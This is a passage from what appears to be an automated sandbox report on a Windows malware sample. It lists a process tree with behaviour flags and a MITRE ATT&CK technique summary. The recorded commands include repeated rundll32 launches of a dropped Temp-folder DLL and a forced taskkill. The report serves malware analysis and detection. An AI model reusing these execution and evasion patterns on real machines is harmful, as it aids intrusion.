- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of SetThreadContext
PID:3796
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4132 -ip 41321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:780
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5332
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1456 -
C:\Windows\uus\AMD64\MoUsoCoreWorker.exeC:\Windows\uus\AMD64\MoUsoCoreWorker.exe2⤵PID:4392
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5696 -ip 56961⤵PID:5884
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5752 -ip 57521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:924
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 6136 -ip 61361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6932
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3364 -ip 33641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7008
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 5144 -ip 51441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5484
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 2416 -ip 24161⤵PID:6068
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 4804 -ip 48041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6164
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3096 -ip 30961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6232
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 5224 -ip 52241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7112
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 848 -p 3000 -ip 30001⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1176
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 1656 -ip 16561⤵PID:4108
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2400 -ip 24001⤵PID:3176
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 2376 -ip 23761⤵PID:1524
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 5564 -ip 55641⤵PID:6340
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6584
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 3892 -ip 38921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7164
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 3648 -ip 36481⤵PID:4108
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
PID:3000
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 832 -p 4480 -ip 44801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6480
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:1108 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4044
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 4483⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6684
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 4044 -ip 40441⤵PID:6224
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 796 -p 6800 -ip 68001⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6764
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 544 -p 6876 -ip 68761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6508
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
PID:4480
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2208 -ip 22081⤵PID:7188
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 6548 -ip 65481⤵PID:7928
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 6636 -ip 66361⤵PID:7688
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 232 -ip 2321⤵PID:8112
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 6984 -ip 69841⤵PID:8136
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:1652 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:6848
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6848 -s 4563⤵
- Program crash
PID:5816
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 6848 -ip 68481⤵PID:912
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5168 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:760
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 760 -s 4563⤵
- Program crash
PID:6604
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 760 -ip 7601⤵PID:3332
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5372 -ip 53721⤵PID:5464
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5616 -ip 56161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5884
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 7896 -ip 78961⤵PID:7380
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe c6ad3ac0a47e8760d5f2ed35a33851d7 yRwM/6rXiUCZnD3IOsWeRg.0.1.0.3.01⤵PID:1312
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4048 -ip 40481⤵PID:7948
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1804 -ip 18041⤵PID:6592
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 840 -p 7988 -ip 79881⤵PID:4360
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2344
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:2264
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:7012 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 25B00477BC4902947453F25348C03A53 C2⤵PID:5588
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 74DA71B20B0CEC873C0F6859E190693E2⤵PID:6928
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:3484
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9B1AC6BB714ED7ADD1B1F1EE4CE72286 E Global\MSI00002⤵PID:6776
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6096 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:7500
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 4563⤵
- Program crash
PID:1188
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 840 -p 7500 -ip 75001⤵PID:7428
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:1720
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2004 -ip 20041⤵PID:932
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5688 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:7600
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7600 -s 4483⤵
- Program crash
PID:6120
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 7600 -ip 76001⤵PID:6648
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 7900 -ip 79001⤵PID:2112
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:2668
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 580 -ip 5801⤵PID:4356
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 6004 -ip 60041⤵PID:4472
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 764 -p 2844 -ip 28441⤵PID:7148
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵PID:1272
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 580 -ip 5801⤵PID:804
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc1⤵PID:5740
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 1436 -ip 14361⤵PID:6620
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4508 -ip 45081⤵PID:5604
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 1536 -ip 15361⤵PID:3640
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 4520 -ip 45201⤵PID:5464
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 8164 -ip 81641⤵PID:1040
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 2884 -ip 28841⤵PID:6952
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 7208 -ip 72081⤵PID:7892
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 7904 -ip 79041⤵PID:6520
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
3Registry Run Keys / Startup Folder
2Scheduled Task
1Defense Evasion
Disabling Security Tools
4Impair Defenses
1Modify Registry
6Virtualization/Sandbox Evasion
1Web Service
1